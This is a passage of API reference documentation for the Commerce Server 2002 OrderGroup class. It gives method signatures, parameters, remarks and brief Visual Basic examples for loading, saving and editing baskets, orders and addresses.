This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetAddress Method (PIA)

Use this method to get the specified address Dictionary object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetAddress(
  strAddressId As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary

…

public IDictionary GetAddress(
  string strAddressId
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID.
[C#]
strAddressId
A string that specifies the address ID.

Return Values

[Visual Basic .NET] If the specified address is found, this method returns a reference to that Dictionary object, otherwise it returns a Null object.

[C#]

This method returns the Microsoft.CommerceServer.Interop.IDictionary interface to a Dictionary object.

If the specified address is not found, the IDictionary interface is to a null object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary object

dDict = oOrderGroup.GetAddress("{C4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetItemInfo Method (PIA)

Use this method to get a reference to the line-item dictionary from the specified OrderForm object at the specified index. If the strOrderFormName parameter is not supplied, it defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetItemInfo(
  nItemIndex As Integer,
  Optional strOrderFormName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public IDictionary GetItemInfo(
  intnItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nItemIndex
An Integer that specifies the line-item index.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
nItemIndex
An int that specifies the line-item index.
strOrderFormName
An object that specifies the OrderForm object name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Dictionary object that contains the line-item information.

[C#] This method returns an IDictionary interface to the Dictionary object containing the line-item information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary Object
dDict = oOrderGroup.GetItemInfo(3, "testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetOrderFormAsXML Method (PIA)

Use this method to convert an OrderForm object into an XML string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetOrderFormAsXML(
  nXMLLocale As String,
  Optional strOrderFormName As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GetOrderFormAsXML(
  string nXMLLocale,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nXMLLocale
A String that specifies the locale used in the XML string conversion.
strOrderFormName
An Object that specifies the OrderForm object.
[C#]
nXMLLocale
A string that specifies the locale used in the XML string conversion.
strOrderFormName
An object that specifies the OrderForm object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the XML string.

[C#] This method returns a string indicating whether or not it completed successfully.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Use of the DictionaryXMLTransforms object is recommended when exchanging XML through BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.
[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lLocale is a valid Locale identifier
sXMLResultString is a String
sXMLResultString = oOrderGroup.GetOrderFormAsXML(lLocale, myOrderFormName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddXMLAsOrderForm


OrderGroup.GetOrderFormValue Method (PIA)

Use this method to get an attribute from an OrderForm object, based on a specified key.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetOrderFormValue(
  strKey As String,
  Optional strOrderFormName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetOrderFormValue(
  string strKey,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that contains the key that specifies the attribute to get.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that contains the key that specifies the attribute to get.
strOrderFormName
An object that specifies the OrderForm object name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the attribute.

[C#] This method returns an object containing the requested attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default".

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
vResult is an Object

vResult = oOrderGroup.GetOrderFormValue(handling_total, _
"testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Initialize Method (PIA)

Use this method to initialize the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  strConnectionString As String,
  strUserID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  string strConnectionString,
  string strUserID,
  object lrucache
);

Parameters

[Visual Basic .NET]
strConnectionString
A String that contains the database connection string.
strUserID
A String that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
[C#]
strConnectionString
A string that contains the database connection string.
strUserID
A string that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
lrucache
An object specifying a Microsoft.CommerceServer.Interop.Caching.LRUCache object to use.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this method to specify the connection string that the OrderGroup object uses for its database operations. You also specify a user_id that the object will use as an OrderGroup_id when performing basket operations. This same user_id value will be stored in the g_UserIDChangedBy field.

Note

  • If you are loading an OrderGroup object on behalf of another user (for example as an administrator), you should specify the administrator user ID (or a placeholder user ID GUID that signifies administrative authority) so that g_UserIDChangedBy is updated with the appropriate value when the OrderGroup object is saved back to the database. If you wish to load an OrderGroup object with a Basket status in the role of an administrator, you must specify strUserID as the user ID of the user whose basket you wish to load. In this case g_UserIDChangedBy will not be updated with an administrator user ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic .NET]

Example

' oOrderGrp is a Commerce.OrderGroup Object
' sConnString is a valid connection string to the Commerce database
oOrderGrp.Initialize(sConnString, _
    "{D4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.LoadBasket Method (PIA)

Use this method to load the basket for the current user from the database. If the basket for the user ID specified in the Initialize method cannot be found, this method initializes an empty in-memory basket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadBasket()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadBasket();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadOrder

OrderGroup.LoadTemplate

OrderGroup.SaveAsBasket


OrderGroup.LoadOrder Method (PIA)

Use this method to load an OrderGroup object from disk. This method returns an error if the OrderGroup object cannot be found.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadOrder(
  strOrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadOrder(
  string strOrderGroupID
);

Parameters

[Visual Basic .NET]
strOrderGroupID
A String that specifies the OrderGroupID of the OrderGroup object to be loaded.
[C#]
strOrderGroupID
A string that specifies the OrderGroupID of the OrderGroup object to be loaded.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadOrder method can be used to load any OrderGroup object whose status does not equal basket or template.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadOrder("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadBasket

OrderGroup.LoadTemplate

OrderGroup.Initialize

OrderGroup.SaveAsOrder


OrderGroup.LoadTemplate Method (PIA)

Use this method to load the specified template from the database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadTemplate(
  strOrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadTemplate(
  string strOrderGroupID
);

Parameters

[Visual Basic .NET]
strOrderGroupID
A String that specifies the OrderGroupID of the template to be loaded.
[C#]
strOrderGroupID
A string that specifies the OrderGroupID of the template to be loaded.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.LoadTemplate("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadOrder

OrderGroup.LoadBasket

OrderGroup.SaveAsTemplate


OrderGroup.PurgeUnreferencedAddresses Method (PIA)

Use this method to remove all addresses in the OrderGroup object that are not being referenced by any line-item shipping_address_id or OrderForm object billing_address_id.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PurgeUnreferencedAddresses()
[C#]

using Microsoft.CommerceServer.Interop.Orders;

…

public void PurgeUnreferencedAddresses();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.PutItemValue Method (PIA)

Use this method to put the specified values into the specified keys of the line item.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PutItemValue(
  strKey As String,
  vtValue As Object,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void PutItemValue(
  string strKey,
  object vtValue,
  bool bOverWrite,
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An Object that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite
A Boolean that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten.
nItemIndex
An Object that specifies the line-item index.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An object that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite
A bool that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of true indicates that the attribute will be overwritten. A value of false indicates that the attribute will not be overwritten if one already exists.
nItemIndex
An object that specifies the line-item index.
strOrderFormName
An object that specifies the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the line-item index is specified, this method sets the name/value pair for the specified line item on the OrderForm object specified in the strOrderFormName parameter. (The strOrderFormName parameter defaults to "default" if unspecified.)

If the line-item index is not specified, this method sets the name/value pair for all line items for the specified OrderForm object. If no OrderForm object name is specified, this method sets the name/value pair for all line items in the OrderGroup object.

If there is no OrderForm object for the strOrderFormName specified in the strOrderFormName parameter, one is created.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.PutItemValue(payment_method, credit_card, False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.PutOrderFormValue Method (PIA)

Use this method to set an attribute on an OrderForm object. If the strOrderFormName parameter is supplied, and the OrderForm object does not exist in the OrderGroup object, then a new OrderForm object with the supplied name is created.

If strOrderFormName is not supplied, the parameter defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PutOrderFormValue(
  strKey As String,
  vtValue As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void PutOrderFormValue(
  string strKey,
  object vtValue,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An Object that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An object that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName
An object that specifies the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.PutOrderFormValue(handling_total, "$ 421.23")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.RemoveItem Method (PIA)

Use this method to remove a line item from the specified OrderForm object. The item index specified indicates which line item to remove.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub RemoveItem(
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void RemoveItem(
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nItemIndex
An Object that specifies the line-item index. If this value is null, all items in the OrderForm object are removed.
strOrderFormName
An Object that specifies the OrderForm object name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForm objects are removed.
[C#]
nItemIndex
An object that specifies the line-item index. If this value is null, all items in the OrderForm object are removed.
strOrderFormName
An object that specifies the OrderForm object name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForm objects are removed

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddItem


OrderGroup.RemoveOrderForm Method (PIA)

Use this method to remove the specified OrderForm object from the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub RemoveOrderForm(
  strOrderFormName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void RemoveOrderForm(
  string strOrderFormName
);

Parameters

[Visual Basic .NET]
strOrderFormName
A String that specifies the OrderForm object to remove.
[C#]
strOrderFormName
A string that specifies the OrderForm object to remove.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.RemoveOrderForm("myOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddOrderform


OrderGroup.RunPipe Method (PIA)

Use this method to run the Pipeline Component File on each OrderForm object in the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function RunPipe(
  strPCF As String,
  strPipelineProgID As String,
  oContext As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int RunPipe(
  string strPCF,
  string strPipelineProgID,
  object oContext
);

Parameters

[Visual Basic .NET]
strPCF
A String that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID
A String that specifies the pipeline ProgID.
oContext
An Object reference that specifies the pipeline context.
[C#]
strPCF
A string that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID
A string that specifies the pipeline ProgID.
oContext
An object that contains the pipeline context.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that specifies the maximum error level encountered by the pipeline runs.

[C#] This method returns an int indicating the maximum error level encountered by the pipeline runs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When OrderGroup.RunPipe is called, the OrderGroup object instantiates and runs the pipeline for each of its contained OrderForm objects. The pipeline objects themselves continue to be passed a regular OrderForm, as if they were run in a stand-alone pipeline. In fact, a pipeline component has no way of knowing whether it is running on an OrderForm within an OrderGroup, or on a stand-alone OrderForm.

There are cases where you want the pipeline component to know about all items in the OrderGroup object, regardless of whether those items are from differing vendors (for example, a discount component). If this is the case, you should not use the multiple-OrderForm feature of the OrderGroup object (adding all items to the same OrderForm). In these cases, you can use the Splitter pipeline component to produce views of items from different vendors on your OrderForm object.

When calling OrderGroup.RunPipe, you can rely on the aggregation features of the OrderGroup object to produce grand totals across all OrderForms. OrderGroup.RunPipe automatically aggregates many common fields. If you wish to aggregate additional fields, use OrderGroup.AggregateOrderformValues.

Additionally, this method computes grand totals across each OrderForm object for each of the following properties:

OrderForm Value | Grand Total on the OrderGroup
_cy_oadjust_subtotal | saved_cy_oadjust_subtotal
_cy_total_total | saved_cy_total_total
_cy_shipping_total | saved_cy_shipping_total
_cy_handling_total | saved_cy_handling_total
_cy_tax_total | saved_cy_tax_total
_cy_tax_included | saved_cy_tax_included

Many pipeline keys are prefixed by "_", which by default means they will not be persisted to the database. Occasionally, you might want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. Using the "saved_" prefix allows you to refer to these keys later and to search them by using SQL statements or the OrderGroupManager object. Copied keys should not be trusted as being up-to-date. Also, they should not be used by pipeline components directly.

The OrderGroup object has a LogFile property that can be used to set the log file for the RunPipe method.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lResult is a long
' oContext specifies the pipeline context
lResult = oOrderGroup.RunPipe("c:\myPCFFile.pcf", _
    "Commerce.PooledPipeline, oContext)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

Pipeline Basics

OrderGroup Class

OrderGroup.LogFile


OrderGroup.SaveAsBasket Method (PIA)

Use this method to save the OrderGroup object to the database with a basket status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsBasket() As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SaveAsBasket();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID.

[C#] This method returns an object containing the OrderGroupID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method sets the OrderGroup object status to "basket", and sets the OrderGroupID equal to the user ID.

If the OrderGroup object was not loaded from a basket, this method deletes any existing on-disk basket before inserting the order group into the data storage.

If the OrderGroup object was loaded from a basket, this method performs an update or insert depending on whether the OrderGroup was found on disk on the load call. If you load a template or order and call the SaveAsBasket method, the template or order that was originally loaded remains unchanged on disk.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oResult is an Object
oResult = oOrderGroup.SaveAsBasket()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadBasket

OrderGroup.SaveAsOrder

OrderGroup.SaveAsTemplate


OrderGroup.SaveAsOrder Method (PIA)

Use this method to save the OrderGroup object to the database with an order status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsOrder(
  Optional vtOutTrackingNumber As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object SaveAsOrder(
  out object vtOutTrackingNumber
);

Parameters

[Visual Basic .NET]
vtOutTrackingNumber
An Object that specifies the tracking number. If specified, this Object must be a non-literal value; when the method returns, it will contain the tracking number.
[C#]
vtOutTrackingNumber
On input, an object used to specify the tracking number.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID.

[C#] This method returns an object indicating the OrderGroupID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method sets the OrderGroup object status to "order" if the current status is template, basket, or undefined. (All other states are left alone; this allows orders to be in many states, such as pending approval, rejected, and so on.) You can set the state to any value except basket or template before calling the SaveAsOrder method; this method will not overwrite the state.

If this is the first time the order is saved, a special field will be written that records the order creation date. If an OrderTrackingNumber already exists on the OrderForm object (under the key order_number) before the save, a new one will not be generated. This feature allows for ERP-based tracking numbers.

If the OrderGroup object was loaded from a template or from a basket, this method will generate a new OrderGroupID and tracking number, and perform a database insert. If the OrderGroup does not yet exist on disk, this method will generate an OrderGroupID and tracking number and perform a database insert. If the OrderGroup was loaded from any other state, this method will perform a database update.

If you load a basket or template and call the SaveAsOrder method, the basket or template remains unchanged on disk. For this reason, a call to the SaveAsOrder method is typically followed by a call to OrderGroupManager.DeleteOrderGroupFromDisk.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
' vResult is an Object
' vTrackingNumber is an Object
vResult = oOrderGroup.SaveAsOrder(vTrackingNumber)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SaveAsBasket

OrderGroup.SaveAsTemplate


OrderGroup.SaveAsTemplate Method (PIA)

Use this method to save the OrderGroup object to the database with a template status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsTemplate(
  Optional strTemplateName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object SaveAsTemplate(
  object strTemplateName
);

Parameters

[Visual Basic .NET]
strTemplateName
An Object that specifies the template name.
[C#]
strTemplateName
An object that specifies the template name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID of the template.

[C#] This method returns an object containing the OrderGroupID of the template.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method updates the OrderGroup object template name field if the strTemplateName parameter is supplied.

If you originally loaded the OrderGroup object from another state (for example, a basket) and call the SaveAsTemplate method, the original OrderGroup remains on disk unchanged.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is an Object
vResult = oOrderGroup.SaveAsTemplate()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SaveAsBasket

OrderGroup.SaveAsOrder


OrderGroup.SetAddress Method (PIA)

Use this method to add a specified address dictionary to the addresses collection of the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetAddress(
  strAddressId As String,
  oAddressDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public void SetAddress(
  string strAddressId,
  IDictionary oAddressDict
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID of the address to be added.
oAddressDict
A Dictionary object that contains the address information to be added.
[C#]
strAddressId
A string that specifies the address ID of the address to be added.
oAddressDict
A Microsoft.CommerceServer.Interop.IDictionary interface to the Dictionary object that contains the address.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oAddDict is an address Dictionary object
oOrderGroup.SetAddress("{AABBC9CC-C33E-11D0-B8A0-00C04FB616C7}", oAddDict)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SetAddressFromFields


OrderGroup.SetAddressFromFields Method (PIA)

Use this method to set the OrderGroup object address dictionary values as specified by the supplied Fields object. The column names in the field object will be mapped to dictionary key names in the resultant address dictionary.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetAddressFromFields(
  strAddressId As String,
  flds As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Fields
…
public void SetAddressFromFields(
  string strAddressId,
  Fields flds
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID of the address dictionary to be added.
flds
A Fields object that contains the address information to be added.
[C#]
strAddressId
A string that specifies the address ID of the address dictionary to be added.
flds
An ADODB26Lib.Fields object that contains the address information to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOG is a Commerce.OrderGroup object
' oFlds is a Fields object
oOG.SetAddressFromFields("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    oFlds)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SetAddress


OrderGroup.SetShippingAddress Method (PIA)

Use this method to set the shipping address ID for the specified line items.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetShippingAddress(
  address_id As String,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetShippingAddress(
  string address_id,
  bool bOverWrite,
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
address_id
A String that specifies the address ID to designate as the shipping address.
bOverWrite
A Boolean that indicates whether to overwrite the shipping_address_id, if it already exists. A value of True indicates that an overwrite should occur. A value of False indicates that an overwrite should not occur.
nItemIndex
An Object that specifies the line-item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName
An Object that specifies the OrderForm object to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.
[C#]
address_id
A string that specifies the address ID to designate as the shipping address.
bOverWrite
A bool that indicates whether to overwrite the shipping_address_id, if it already exists. A value of true indicates that an overwrite should occur. A value of false indicates that an overwrite should not occur.
nItemIndex
An object that specifies the line-item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName
An object that specifies the OrderForm object on which to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The bOverWrite, nItemIndex, and strOrderFormName parameters work in a way similar to the same parameters in the PutItemValue method. Before performing the set operations, this method first ensures that the address ID exists.

[Visual Basic .NET]

Example

' oOrdGrp is a Commerce.OrderGroup object
oOrdGrp.SetShippingAddress(("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    True, 4, "testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup Properties (PIA)

Properties

Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | Object | Returns the OrderGroup object attributes. This property is read-only.


OrderGroup.LogFile Property (PIA)

The LogFile property is a read/write String that specifies the file name used for pipeline logging during the execution of the RunPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property LogFile As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string LogFile{ get; set; }

Property Value

A string containing the file name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.SavePrefix Property (PIA)

The SavePrefix property is a read/write String that specifies a key prefix that will prevent a dictionary entry from being saved to the database.

Definition

[Visual Basic .NET]
